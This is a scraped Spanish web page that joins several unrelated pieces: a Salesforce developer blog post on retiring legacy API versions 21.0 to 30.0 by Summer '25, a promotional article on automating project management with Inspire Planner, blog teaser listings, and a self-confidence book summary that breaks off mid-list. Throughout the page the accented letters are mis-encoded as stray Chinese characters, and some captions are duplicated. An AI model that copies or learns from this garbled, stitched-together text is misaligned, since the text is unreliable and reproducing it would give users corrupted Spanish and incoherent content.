La 煤ltima fase del plan de retiro de la API heredada se anunci贸 a principios de 2022 y entr贸 en vigencia durante el lanzamiento de Summer '22. Con esta versi贸n, dejamos de usar las versiones SOAP, REST y Bulk API que van de la 21.0 a la 30.0. Como parte de nuestro plan original, estas versiones de API ya no ser铆an compatibles, pero permanecer铆an disponibles hasta que las retiremos en la versi贸n Summer '23.

Luego de consultar con la comunidad y nuestros socios, decidimos retrasar el pr贸ximo retiro de la API al lanzamiento de Summer '25 para garantizar una transici贸n sin problemas (consulte el art铆culo de conocimientos ). Debido a esta extensi贸n, las versiones de API 21.0 a 30.0 a煤n no son compatibles, pero seguir谩n estando disponibles hasta el lanzamiento de Summer '25.

Desde Summer '21 , cada vez que realiza una llamada a una API heredada con REST o Bulk API, ver谩 un encabezado Warning en la respuesta con un mensaje que describe el problema como este:

Una vez que las versiones heredadas de la API se retiren en Summer '25, las solicitudes a esas versiones fallar谩n con los siguientes errores:

  • La API REST devolver谩 el estado HTTP 410: GONE
  • La API SOAP devolver谩 el estado HTTP 500: UNSUPPORTED_API_VERSION
  • La API masiva devolver谩 el estado HTTP 400: InvalidVersion

Ahora que conoce el 煤ltimo plan, veamos c贸mo puede identificar si se ve afectado y c贸mo.

Identificar el uso de la API heredada

Puede verificar las llamadas API heredadas usted mismo en cualquier momento, y hay varias formas de hacerlo.

Todas las transacciones de la API de Salesforce se registran en los registros de Monitoreo de eventos. El monitoreo de eventos normalmente requiere una licencia espec铆fica, pero hemos expuesto el evento Uso total de la API ( ApiTotalUsage ) a todos los clientes de forma gratuita, para que pueda monitorear el consumo de la API heredada e identificar los clientes y las integraciones que deben actualizarse. Las organizaciones habilitadas para API tienen acceso gratuito a los archivos de registro de eventos de uso total de API con retenci贸n de datos de 1 d铆a. Con el Monitoreo de eventos habilitado, puede acceder a este y a todos los dem谩s tipos de archivos de registro de eventos con una retenci贸n de datos de 30 d铆as.

Los registros contienen campos clave que gu铆an sus investigaciones:

  • Los clientes proporcionan CLIENT_NAME opcionalmente, pero es especialmente 煤til para identificar aplicaciones e integraciones que realizan llamadas API que requieren investigaci贸n y ajustes. Compartiremos m谩s sobre este campo en la 煤ltima secci贸n de esta publicaci贸n.
  • CONNECTED_APP_ID le dice qu茅 aplicaci贸n conectada est谩 en el origen de las llamadas a la API.
  • USER_ID y CLIENT_IP son 煤tiles para identificar el origen de las llamadas API heredadas, pero existe la posibilidad de que estos valores se compartan entre varias aplicaciones en caso de que se realice una cuenta t茅cnica de usuario/sistema (ID de usuario compartido) o llamadas desde una ubicaci贸n de oficina f铆sica ( direcci贸n IP compartida). Compartiremos c贸mo usar la nueva licencia de usuario de integraci贸n para abordar los problemas de usuarios compartidos en la 煤ltima secci贸n de esta publicaci贸n.
  • Los campos API_FAMILY , API_VERSION , API_RESOURCE , URI y HTTP_METHOD le brindan pistas valiosas sobre el tipo de operaciones que realizan los clientes API.

Compartimos varias herramientas para acceder a los registros en nuestra publicaci贸n anterior , y tambi茅n puede usar herramientas de terceros para automatizar esta tarea. Compartiremos una opci贸n adicional que puede ser relevante para los usuarios preocupados por ejecutar c贸digo de terceros con acceso API a su organizaci贸n.

Uso de Postman para identificar el uso de la API heredada

Puede utilizar la colecci贸n Postman de las API de la plataforma de Salesforce para inspeccionar sus registros de Salesforce con estos pasos:

  • Configure la colecci贸n Postman y autent铆quese en su organizaci贸n .
  • Enumere los archivos de registro que rastrean el acceso a la API:
    1. Seleccione REST > Solicitud de consulta .
    2. Reemplace el valor del par谩metro de consulta q con la siguiente consulta SOQL: SELECT LogFile, EventType, CreatedDate FROM EventLogFile WHERE EventType IN ('API', 'RestApi', 'BulkApi', 'ApiTotalUsage')
    3. Haz clic en Enviar.
    4. Recupere los ID del archivo de registro de la respuesta.

  • Para cada archivo de registro devuelto en el paso anterior, recupere y escanee el contenido del registro:
    1. Seleccione REST > Registros > Obtener solicitud de archivo de registro de eventos .
    2. Establezca el ID del archivo de registro en el valor de la variable de ruta id .
    3. Haz clic en Enviar.
    4. Lea el contenido del archivo de registro en la respuesta. Puede moverse a la pesta帽a Respuesta sin procesar y guardarla como un archivo CSV o usar la pesta帽a Visualizar para obtener una vista previa del contenido directamente en Postman.
    5. Mire la columna URI o API_VERSION y verifique las versiones de API heredadas (versiones 30.0 y anteriores).

Despu茅s de identificar que est谩 llamando a versiones de API heredadas, el siguiente paso es actualizar estas dependencias a versiones de API heredadas.

Actualizar dependencias a versiones de API heredadas

El procedimiento de actualizaci贸n depende del tipo de API que est茅 utilizando, pero aqu铆 hay una breve descripci贸n general de lo que se requiere:

  • Para llamadas API basadas en SOAP, genere un nuevo WSDL e incorp贸relo a la integraci贸n afectada
  • Para puntos finales REST, actualice el n煤mero de versi贸n en el URI a la versi贸n principal actual
  • Aunque puede actualizar de manera similar los URI para puntos finales /async en el caso de Bulk API, la forma m谩s gratificante de actualizar las llamadas heredadas es adoptar Bulk API 2.0 y disfrutar del flujo de trabajo m谩s simple y los l铆mites mejorados.

Tenga en cuenta que las aplicaciones (p. ej., el cargador de datos) y los paquetes tambi茅n pueden estar realizando llamadas API heredadas debido a bibliotecas obsoletas (conectores de servicios web, kit de herramientas AJAX, interfaz COM SForceOfficeToolkit o kit de herramientas Force.com para PHP, solo por nombrar algunos) . Aseg煤rate de actualizarlos tambi茅n.

Y recuerda: no importa el cambio, aseg煤rate de realizar pruebas de regresi贸n para asegurarte de que todo funciona como se esperaba.

Prepar谩ndonos para el futuro

Ya sea que se haya visto afectado por el plan de jubilaci贸n heredado o no, debe planificar el futuro retiro de la versi贸n API. Le dejaremos algunas pr谩cticas recomendadas para el gobierno de API.

Aproveche las licencias de usuario de la integraci贸n de Salesforce

En Spring '23, presentamos un nuevo tipo de licencia dedicado a las integraciones: la licencia de usuario de Integraci贸n de Salesforce . Esta nueva licencia se basa en el principio de acceso con privilegios m铆nimos y le permite crear usuarios solo de API para integraciones de sistema a sistema con derechos de acceso espec铆ficos. La principal ventaja de este nuevo tipo de licencia es la seguridad, pero tambi茅n permite un mejor seguimiento de las acciones de integraci贸n, ya que podr谩 asignar distintos usuarios solo de API a la integraci贸n y relacionar las llamadas de API de integraci贸n con ID de usuario espec铆ficas en sus registros.

Se incluyen cinco licencias de usuario de Integraci贸n de Salesforce en cada organizaci贸n Enterprise, Unlimited y Performance Edition. Tambi茅n puede comunicarse con su ejecutivo de cuenta si necesita m谩s.

Especifique un nombre de cliente al crear integraciones de API REST

Al crear nuevas integraciones con la API REST, aseg煤rese de especificar un nombre de cliente utilizando el encabezado de solicitud Sforce-Call-Options de la siguiente manera:

Sforce-Call-Options: client=myClientName

El nombre del cliente que especifique en el encabezado estar谩 visible en los registros en el campo CLIENT_NAME . Esto le ayuda a depurar y auditar las llamadas a la API de integraci贸n.

palabras de cierre

Esperamos que este retraso adicional en nuestro plan de retiro de API heredado permita una transici贸n sin problemas, y lo alentamos a que comience hoy, independientemente de la nueva fecha l铆mite. Migrar a versiones de API m谩s nuevas siempre es una apuesta segura para obtener acceso a nuevas capacidades y mejorar el rendimiento y la seguridad.

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Las mejores formas de automatizar la gesti贸n de proyectos en Salesforce

Las mejores formas de automatizar la gesti贸n de proyectos en Salesforce

Administrar sus proyectos dentro de Salesforce garantiza que todos sus datos clave est茅n disponibles en un solo lugar, con todos los que necesitan la capacidad de acceder a ellos ya en la plataforma y familiarizados con la interfaz de usuario. Adem谩s, no es necesario que cree ni mantenga la integraci贸n con herramientas de gesti贸n de proyectos externas de terceros. Sin embargo, si est谩 buscando mejorar a煤n m谩s su juego de gesti贸n de proyectos en Salesforce, la mejor manera de hacerlo ser铆a a trav茅s de la automatizaci贸n. Este art铆culo lo guiar谩 a trav茅s de las mejores formas de automatizar la gesti贸n de proyectos en Salesforce.

La automatizaci贸n ayuda a su organizaci贸n a crear valor a trav茅s de una reducci贸n del tiempo dedicado a realizar tareas, una reducci贸n del riesgo relacionado con el error humano y la creaci贸n de una experiencia optimizada para sus usuarios y clientes.

Las posibilidades son infinitas cuando se utilizan herramientas de automatizaci贸n de Salesforce listas para usar, como Salesforce Flow, y las aplicaciones de gesti贸n de proyectos de Salesforce adecuadas, como Inspire Planner.

Ejemplos de c贸mo puede automatizar la gesti贸n de proyectos en Salesforce

Tabla de contenido

Una vez que haya decidido automatizar la gesti贸n de proyectos en Salesforce, la pregunta es 驴Qu茅 automatizamos ?

A continuaci贸n se enumeran varios escenarios de automatizaci贸n de la gesti贸n de proyectos que han demostrado ahorrar tiempo y recursos a las empresas. Estos pueden darle ideas sobre lo que desea automatizar en su organizaci贸n de Salesforce.

Lanzar proyectos autom谩ticamente con un flujo de Salesforce

Es un escenario com煤n que las empresas necesitan lanzar proyectos a partir de plantillas espec铆ficas cuando las Oportunidades pasan a la etapa Cerrado/Ganado. Hacer esto manualmente para cada oportunidad requiere una cantidad considerable de tiempo y esfuerzo. Adem谩s, tambi茅n deja espacio para el error humano o para que alguien simplemente olvide o retrase un paso.

Con Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce, puede crear un flujo de Salesforce desencadenado por registro para crear autom谩ticamente un proyecto a partir de una plantilla espec铆fica en funci贸n de diferentes criterios (por ejemplo, la etapa de oportunidad se actualiza a Cerrado/Ganado).

Automatice la gesti贸n de proyectos en Salesforce con Salesforce Flows para lanzar proyectos a partir de oportunidades

Este nuevo proyecto heredar谩 de la plantilla todas sus fases y tareas, predecesores, archivos adjuntos, roles de recursos y m谩s.

Entonces, para comenzar, su gerente de proyecto simplemente necesita actualizar la fecha de inicio de su primera tarea y asignar el equipo del proyecto (隆ambos tambi茅n se pueden automatizar!).

Se puede configurar una automatizaci贸n similar de Salesforce Flow para lanzar proyectos desde otras etapas de Oportunidades o para otros objetos en Salesforce, como Casos, Cuentas, Pedidos y m谩s.

Automatice la gesti贸n de proyectos en Salesforce con plantillas de proyectos

Si su organizaci贸n entrega proyectos que siguen procesos estandarizados, puede Automatice la gesti贸n de proyectos en Salesforce configurando plantillas de proyectos y us谩ndolas cada vez que desee configurar un nuevo proyecto en lugar de crearlos desde cero.

Configurar plantillas de proyecto puede ser un proceso simple con la herramienta adecuada. Por ejemplo, en Inspire Planner simplemente debe marcar la casilla de verificaci贸n 'Es plantilla' al crear un nuevo proyecto para hacer una Plantilla de proyecto. Y puede crear un n煤mero ilimitado de plantillas para diferentes procesos dentro de su organizaci贸n.

Las plantillas de proyecto permitir谩n que su software de administraci贸n de proyectos de Salesforce haga parte del trabajo m谩s insignificante por usted, permiti茅ndole a usted y a su equipo concentrar sus esfuerzos en brindar un servicio de alta calidad a sus clientes.

Con Inspire Planner, sus proyectos heredar谩n la mayor parte de la informaci贸n requerida de la plantilla, incluidas las tareas, los archivos adjuntos, la duraci贸n de las tareas, las fechas de inicio y finalizaci贸n, los predecesores, los recursos asignados, la prioridad, el esfuerzo planificado, el costo presupuestado, las categor铆as, las notas y el dise帽o del proyecto. y Configuraci贸n, y m谩s.

Automatice la gesti贸n de proyectos en Salesforce con plantillas de proyectos ilimitadas en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de SalesforceAutomatice la gesti贸n de proyectos en Salesforce con plantillas de proyectos ilimitadas en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Automatice la gesti贸n de proyectos en Salesforce con la asignaci贸n de tareas basada en roles

Asignar autom谩ticamente las tareas de su proyecto a los recursos correctos es una manera f谩cil de automatizar la gesti贸n de proyectos en Salesforce.

Dependiendo de la cantidad de tareas en sus proyectos, esto podr铆a sumar una cantidad significativa del tiempo de sus gerentes de proyecto si se hace manualmente, y eso suponiendo que lo hagan bien cada vez. Si hay una herramienta a su disposici贸n que alivia esta carga de sus gerentes de proyecto y les permite concentrarse en un trabajo m谩s importante, 驴por qu茅 no ponerla en pr谩ctica?

Afortunadamente, esto tambi茅n es algo que Inspire Planner ofrece listo para usar. Puede predefinir qu茅 roles ser谩n responsables de cada tarea mientras crea sus plantillas o planes de proyecto.

Luego, simplemente necesita asignar un recurso a un rol espec铆fico, y la automatizaci贸n integrada de Inspire Planner asignar谩 inmediatamente todas las tareas de su proyecto a los miembros correctos del equipo del proyecto.

Costura de plantilla

Lanzar proyectos autom谩ticamente desde Oportunidades basadas en plantillas es una excelente manera de automatizar la gesti贸n de proyectos en Salesforce. Pero, 驴qu茅 sucede cuando vendi贸 varios productos dentro de su Oportunidad y cada producto requiere un conjunto diferente de tareas?

驴Puede automatizar dicho proceso en Salesforce dentro de un plan de proyecto en lugar de crear proyectos separados?

La buena noticia es que la respuesta es s铆. Inspire Planner ofrece la funcionalidad de uni贸n de plantillas de proyectos que le permite crear un solo proyecto a partir de una oportunidad al "unir" (combinar) diferentes plantillas relacionadas con los productos de oportunidad.

Adem谩s, puede definir una plantilla de encabezado (un conjunto de tareas que deben realizarse sin importar qu茅 productos se seleccionaron, por ejemplo, la fase de inicio del proyecto) y definir un orden de ejecuci贸n de sus plantillas simplemente arrastr谩ndolas a las posiciones deseadas.

Y con la configuraci贸n adicional de Salesforce, puede configurar la uni贸n de plantillas de proyectos en Inspire Planner para trabajar con otros objetos en Salesforce en lugar de productos.

Automatice la programaci贸n de su proyecto con dependencias de tareas

Puede automatizar la Gesti贸n de proyectos en Salesforce configurando Dependencias de tareas en el diagrama de Gantt de su proyecto. De esta manera, su proyecto y todas las tareas operar铆an como una unidad cohesiva en lugar de que cada tarea est茅 separada. Por lo tanto, actualizar cualquier tarea recalcular谩 autom谩ticamente todo el cronograma del proyecto, 隆sin importar cu谩n complejo sea su proyecto!

Inspire Planner es compatible con cuatro tipos principales de predecesores (finalizaci贸n a inicio, finalizaci贸n a finalizaci贸n, inicio a inicio y inicio a finalizaci贸n), as铆 como m煤ltiples dependencias de tareas. Si no est谩 familiarizado con estos t茅rminos, un predecesor es una actividad que debe comenzar o finalizar antes de que pueda continuar una tarea sucesora, y un sucesor es una actividad que sigue a otra actividad en funci贸n de su dependencia entre s铆 y no necesariamente en orden cronol贸gico. .

Adem谩s de eso, con Inspire Planner tambi茅n puede agregar tiempo de adelanto o retraso a sus dependencias (por ejemplo, la tarea debe comenzar 3 d铆as despu茅s de que finalice otra, o un d铆a antes, etc.), e incluso funciones m谩s avanzadas como la gesti贸n de restricciones ( por ejemplo, una tarea debe terminar en una fecha determinada).

Automatice la gesti贸n de proyectos en Salesforce con dependencias de tareas en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Una vez configuradas, los usuarios finales tambi茅n pueden ver estas tareas predecesoras y sucesoras en un componente simplificado en la p谩gina de tareas. De modo que incluso si los miembros de su equipo no tienen acceso al proyecto o no est谩n familiarizados con los diagramas de Gantt, a煤n pueden comprender f谩cilmente qu茅 depende de ellos en este proyecto.

Componente predecesor y sucesor en las tareas de Salesforce en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Automatizaci贸n de Notificaciones

Otro elemento importante de la automatizaci贸n de la gesti贸n de proyectos en Salesforce son las notificaciones.

Si desea entregar sus proyectos a tiempo, deber谩 mantener a su equipo de proyecto actualizado sobre los pr贸ximos plazos e hitos. Para empezar, puede configurar alertas y notificaciones autom谩ticas para las tareas del proyecto a trav茅s de Salesforce. Esto enviar谩 a los recursos de su proyecto recordatorios por correo electr贸nico sobre sus tareas y tambi茅n mostrar谩 un recordatorio de notificaci贸n en Salesforce.

Por ejemplo, puede configurar notificaciones de tareas unos d铆as antes de la fecha de vencimiento de la tarea, cuando se actualizaron las fechas de inicio/finalizaci贸n de la tarea, una notificaci贸n de alerta cuando la tarea est谩 vencida y m谩s. Dado que Inspire Planner se integra completamente con las tareas est谩ndar de Salesforce, algunas de estas notificaciones estar谩n disponibles para usted desde el primer momento.

Finalmente, puede configurar alertas en Inspire Planner para acciones como Tareas listas para comenzar. Cuando se han completado todos los predecesores, Inspire Planner marca autom谩ticamente sus tareas como "Listo para comenzar". A continuaci贸n, puede enviar alertas a las personas asignadas a esta tarea o utilizar una vista de lista que muestre solo dichas tareas. De esta manera, su equipo de proyecto sabr谩 f谩cilmente en qu茅 debe concentrarse a continuaci贸n.

Automatizaci贸n de KPIs y Reportes

La siguiente idea para automatizar la gesti贸n de proyectos en Salesforce es automatizar los KPI y programar la entrega de sus informes de proyectos.

Puede decidir administrar los KPI manualmente en funci贸n del estado actual de sus proyectos o automatizarlos si tiene criterios estandarizados para los KPI internamente. En cualquier caso, puedes configurar alertas para tus jefes de proyecto cuando alguno de los KPIs del proyecto pase de Verde a 脕mbar o Rojo.

KPI en Inspire PlannerKPI en Inspire Planner

Al utilizar las aplicaciones de gesti贸n de proyectos nativas de Salesforce, su equipo puede beneficiarse de los potentes informes y paneles de Salesforce. Por ejemplo, Inspire Planner ofrece una carpeta completa lista para usar con informes de proyectos, la capacidad de generar su informe de estado del proyecto con unos pocos clics y tambi茅n dos paneles din谩micos para su cartera y administradores de recursos.

Panel de administraci贸n de recursos en Inspire PlannerPanel de administraci贸n de recursos en Inspire Planner

Salesforce luego le permite programar y suscribirse a los informes de su proyecto. De esta manera, su equipo puede recibir notificaciones sobre las m茅tricas m谩s importantes del proyecto sin ejecutar manualmente ni enviar informes por correo electr贸nico.

Una de las mejores pr谩cticas para generar informes sobre sus proyectos es crear l铆neas base del proyecto en Inspire Planner. La l铆nea de base se puede utilizar para generar informes sobre el cronograma del proyecto planificado y el rendimiento real de su proyecto. La l铆nea de base tambi茅n se puede usar para rastrear y enviar notificaciones cuando hay retrasos en el proyecto y cuando las tareas vencen. Estas notificaciones pueden llamar la atenci贸n sobre 谩reas del Proyecto que necesitan m谩s atenci贸n, lo que resultar谩 en una reducci贸n de los retrasos.

Automatice la gesti贸n de proyectos en Salesforce con procesos de aprobaci贸n

Los procesos de aprobaci贸n pueden ayudarlo a automatizar la gesti贸n de proyectos en Salesforce cuando necesite obtener una aprobaci贸n para algo en su organizaci贸n.

Los ejemplos t铆picos de procesos de aprobaci贸n en la gesti贸n de proyectos incluyen empleados que solicitan PTO de sus gerentes, gerentes de proyecto que obtienen aprobaci贸n para cambios dentro del alcance del proyecto, aprobaci贸n de facturas y m谩s.

Con los procesos de aprobaci贸n de Salesforce, puede definir f谩cilmente sus pasos de aprobaci贸n, bloquear registros, permitir la recuperaci贸n de solicitudes de aprobaci贸n, definir un aprobador, crear plantillas de notificaci贸n y m谩s.

Para iniciar procesos de aprobaci贸n en sus proyectos en Salesforce, puede usar botones personalizados (p. ej., "Enviar para aprobaci贸n") en los que los usuarios deben hacer clic o iniciar procesos de aprobaci贸n autom谩ticamente con un Flujo de Salesforce.

Automatizar carteras de proyectos

Las carteras de proyectos le permiten agrupar y ver un conjunto de proyectos en un 煤nico diagrama de Gantt combinado. Con Inspire Planner, puede crear un n煤mero ilimitado de Portafolios para diversas necesidades, por ejemplo, un portafolio de sus proyectos, un portafolio de proyectos para un cliente espec铆fico, etc.

Los portafolios pueden mostrar el cronograma general del proyecto, el estado general del proyecto, el porcentaje completado, los hitos del proyecto y m谩s. Adem谩s, un proyecto puede pertenecer a varias carteras.

Con Inspire Planner, puede agregar proyectos a Portafolios o eliminarlos manualmente o con automatizaci贸n a trav茅s de Salesforce Flows. Por ejemplo, cuando se completa un proyecto, puede eliminarlo autom谩ticamente de una cartera.

Portafolios de proyectos en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de SalesforcePortafolios de proyectos en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Y con nuestra pr贸xima funci贸n de carteras din谩micas con edici贸n en l铆nea, la gesti贸n autom谩tica de carteras se est谩 volviendo m谩s f谩cil que nunca. Puede crear diferentes vistas de lista de Salesforce para organizar y filtrar autom谩ticamente sus carteras de proyectos en funci贸n de varios criterios.

Calcule los niveles de prioridad de riesgos y problemas

Tener la capacidad de ver los riesgos y problemas relacionados con su proyecto significa que estos riesgos pueden mitigarse de manera oportuna durante todo el proyecto. Si busca identificar y prevenir riesgos de proyectos imprevistos, consulte nuestra gu铆a sobre c贸mo reducir los riesgos de proyectos en Salesforce.

Si est谩 buscando llevar la gesti贸n de riesgos de su proyecto al siguiente nivel en Salesforce, puede hacerlo automatizando el c谩lculo de riesgos y automatizando la priorizaci贸n de estos riesgos.

El registro de riesgos del proyecto es una funci贸n que ofrece Inspire Planner que le permite realizar un seguimiento de los riesgos de su proyecto y limitar sus impactos. Realiza un seguimiento tanto de los riesgos como de los problemas (los riesgos son los problemas que podr铆an ocurrir en el futuro y los problemas son los riesgos que han llegado a buen t茅rmino y realmente sucedieron).

Registro de riesgos del proyecto en Inspire Planner

La Prioridad de sus riesgos se calcula autom谩ticamente multiplicando el Impacto por la Probabilidad. De esta manera, simplemente debe asegurarse de capturar el impacto y la probabilidad de su riesgo e Inspire Planner har谩 el resto por usted.

Cu谩ndo y por qu茅 deber铆a automatizar la gesti贸n de proyectos en Salesforce

Si bien ahora conoce varias formas de automatizar la gesti贸n de proyectos en Salesforce y c贸mo Inspire Planner puede ser potencialmente la soluci贸n que le permita hacer esto, es posible que todav铆a se pregunte por qu茅 vale la pena automatizarlo.

驴Qu茅 ganar谩 su empresa con la automatizaci贸n de la gesti贸n de proyectos en Salesforce y qu茅 impactos negativos mitigar谩? A continuaci贸n hay tres explicaciones de este valor y por qu茅 la automatizaci贸n no solo es una buena idea sino casi una necesidad.

Ahorre tiempo en tareas repetitivas

La gesti贸n eficaz de proyectos es la diferencia entre un proyecto exitoso y uno fallido y, a menudo, lleva bastante tiempo ejecutarlo con cuidado para obtener resultados 贸ptimos. Dado que hay una serie de tareas que se pueden realizar con su inversi贸n en automatizaci贸n de Salesforce, tiene mucho sentido liberar a su equipo para que se concentre en los problemas clave en lugar de atascarlos con tareas repetitivas manuales.

La investigaci贸n realizada por AutomationAnywhere muestra que en algunas industrias (a saber, el servicio p煤blico y la administraci贸n general) los profesionales pueden dedicar hasta 3,51 horas diarias a tareas administrativas repetitivas. 隆Estas son tareas que podr铆an realizarse f谩cilmente mediante alg煤n tipo de automatizaci贸n!

Cuando se trata de reducir el tiempo necesario para las tareas repetitivas en la gesti贸n de proyectos, puede devolver el tiempo a su d铆a implementando algunos de nuestros ejemplos de automatizaci贸n descritos anteriormente, como plantillas de proyectos, asignaci贸n de tareas seg煤n roles de recursos y m谩s. En 煤ltima instancia, puede entregar un proyecto exitoso m谩s r谩pido descargando este tipo de tareas a Salesforce.

Reducir el error humano

Si bien todos tratamos de ser completamente precisos todo el tiempo, solo somos humanos y, como tales, somos propensos a cometer errores. Salesforce, por otro lado, no es humano y no es propenso a la misma capacidad de cometer errores que los humanos. Las tareas m谩s peque帽as pueden llamar menos la atenci贸n de un equipo de proyecto ocupado, lo que puede generar problemas mayores en el futuro debido a la naturaleza en cascada de estos errores.

Configurar su organizaci贸n para automatizar su gesti贸n de proyectos en Salesforce es la mejor manera de reducir (o eliminar efectivamente) su riesgo de error humano mientras gestiona el proyecto (suponiendo que est茅 configurado correctamente desde el principio, por supuesto).

Administre autom谩ticamente varias plantillas/escenarios

Si su empresa ofrece m煤ltiples servicios o productos diferentes, cada uno con su propio conjunto de tareas o incluso diferentes metodolog铆as de gesti贸n de proyectos (Waterfall vs Agile/Scrum), entonces puede encontrarse con problemas en los que un Project Manager no tiene suficiente experiencia trabajando con un tipo de producto o servicio espec铆fico y podr铆a tener problemas para configurar el Proyecto en Salesforce.

Este problema se elimina por completo cuando su gesti贸n de proyectos se automatiza en Salesforce utilizando varias plantillas de proyectos que sus gestores de proyectos pueden aplicar al comienzo de un proyecto. Esto no solo significa que tienen mucho menos trabajo por hacer, sino que tambi茅n elimina cualquier error potencial o tareas olvidadas y brinda un grado de capacitaci贸n para los gerentes de proyecto que son nuevos en un tipo espec铆fico de proyecto.

Automatice la gesti贸n de proyectos en Salesforce con Inspire Planner

Como puede ver, hay una cantidad insuperable de valor que se puede obtener al administrar sus proyectos dentro de Salesforce y luego aplicar capas en alguna Automatizaci贸n de administraci贸n de proyectos.

Sus clientes se beneficiar谩n de sus esfuerzos al contar con un equipo de proyecto efectivo que pueda entregar a tiempo y garantizar que las comunicaciones sean consistentes, que los riesgos se gestionen y mitiguen, y que el equipo centre sus esfuerzos en el trabajo en lugar de las tareas administrativas.

Si est谩 listo para automatizar la gesti贸n de proyectos en Salesforce para su organizaci贸n y reducir el trabajo manual y repetitivo, consulte Inspire Planner con nuestra prueba gratuita de 30 d铆as hoy o solicite su demostraci贸n personal de Inspire Planner.

Seguir leyendo

Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange 鈽侊笍

Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta gu铆a se public贸 originalmente en Medium en 2021 y se actualiz贸 con la orientaci贸n y los consejos m谩s recientes, incluidas las nuevas funciones de seguridad como parte de los lanzamientos recientes y la nueva estructura de precios para las revisiones.

La publicaci贸n Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Lightning Experience con Lightning Speed (驴Ya llegamos?) 鈽侊笍

Obtenga una mirada m谩s detallada al rendimiento de Lightning Experience, conozca las 谩reas de mejora y los pr贸ximos pasos planificados en los pr贸ximos lanzamientos.

La publicaci贸n Lightning Experience with Lightning Speed (驴Ya llegamos?) apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Habilite CDN para cargar Lightning Experience m谩s r谩pido 鈽侊笍

Descubra c贸mo una red de entrega de contenido (CDN) puede aumentar su rendimiento y c贸mo puede habilitarla para su organizaci贸n hoy.

La publicaci贸n Activar CDN para cargar Lightning Experience m谩s r谩pido apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Lanzamiento de Marketing Cloud Spring '23 para desarrolladores 鈽侊笍

Consulte los aspectos m谩s destacados y conozca las nuevas funciones de la versi贸n Spring '23 para desarrolladores de Marketing Cloud.

La versi贸n posterior de Marketing Cloud Spring '23 para desarrolladores apareci贸 primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

C贸mo un Data Lakehouse puede ayudar a su equipo a ser m谩s eficiente

Un lago de datos suena como una escapada serena, pero puede ser la clave para mejorar la eficiencia y la satisfacci贸n del cliente.

Seguir leyendo

Mejore el rendimiento del c贸digo con el analizador de c贸digo de Salesforce 鈽侊笍

Estamos desarrollando Salesforce Graph Engine con nuevas reglas para ayudarlo a mejorar el rendimiento de su c贸digo en la 煤ltima versi贸n 3.9 de Code Analyzer.

La publicaci贸n Aumente el rendimiento del c贸digo con Salesforce Code Analyzer apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Account Engagement (Pardot) API v5: Por qu茅 deber铆a actualizar 鈽侊笍

Ha llegado el momento de actualizar a la versi贸n 5 de la API REST de Account Engagement (Pardot). V5 se cre贸 para facilitar la integraci贸n a todos los clientes e ISV.

La publicaci贸n Account Engagement (Pardot) API v5: Why You Should Upgrade apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Estrategias Para Ganar M谩s Confianza En Ti Mismo

鈥淐uando un hombre, imagina su carrera futura, se mira al espejo, y v茅 a un senador mirando hacia atr谩s,鈥 se帽al贸 el activista pol铆tico Marie Wilson. 鈥淯na mujer nunca ser谩 tan presuntuosa禄. Esta simple observaci贸n sirvi贸 para escribir el聽 The Confidence Code, una exploraci贸n interdisciplinaria de reticencia femenina e inseguridad, y una gu铆a de c贸mo quitar aquellas caracter铆sticas sin dolor, Katty Kay y Claire Shipman determinan las razones y tratan de descubrir qu茅 podemos hacer algo para ser consciente de ello. Prep谩rate para descubrirlo.聽

Estad铆sticas, Baches y Audiciones A Ciegas

A fines del 2009 The Economist dijo:

El empoderamiento econ贸mico de las mujeres en el mundo es una de las revoluciones m谩s notables en los 煤ltimos 50 a帽os

Adem谩s, es fascinante pensar que solo medio siglo atr谩s:

  • La mayor铆a de las mujeres eran amas de casa desempleadas y ahora mujeres que ganan m谩s que sus maridos en los Estados Unidos,
  • Adem谩s, las mujeres norteamericanas obtienen m谩s t铆tulos universitarios que los hombres,
  • Algunas de las empresas internacionales m谩s grandes est谩n dirigidas por mujeres. Al momento de escribir este resumen, existen 21 jefas de estado en el mundo. 

A帽os atr谩s se pensaba que las mujeres eran menos inteligentes y menos capaces que los hombres. Pero en el lapso de s贸lo 50 a帽os, se revirti贸 la brecha educativa y se cambi贸 a su favor.

Los estudios han demostrado que los CEOs mujeres superan en rendimiento a los CEOs varones en sus profesiones donde la participaci贸n igualitaria de ambos sexos puede ser observada. Por lo tanto, la competencia nunca fue realmente un problema. 

En los a帽os 1970, solamente el 5% de las orquestas sinf贸nicas de m煤sicos norteamericanos en norteam茅rica eran mujeres: Aquel n煤mero aument贸 a un 25% para mediados de los 1990, y el n煤mero era a煤n m谩s alto en la actualidad.

Por lo tanto, 驴que sucedi贸 en el mientras tanto? La revoluci贸n parece deberlo todo a un simple ajuste en el proceso de contrataci贸n.

Durante los a帽os 1970:

  • La mayor铆a de las orquestas sinf贸nicas en los Estados Unidos comenzaron a contratar audiciones a ciegas colocando una pantalla para esconder la identidad y g茅nero de los candidatos,
  • De ese modo, bas谩ndose en el dulce sonido de su performance, las mujeres comenzaron a聽 ser contratadas en n煤meros mucho m谩s grandes que antes,
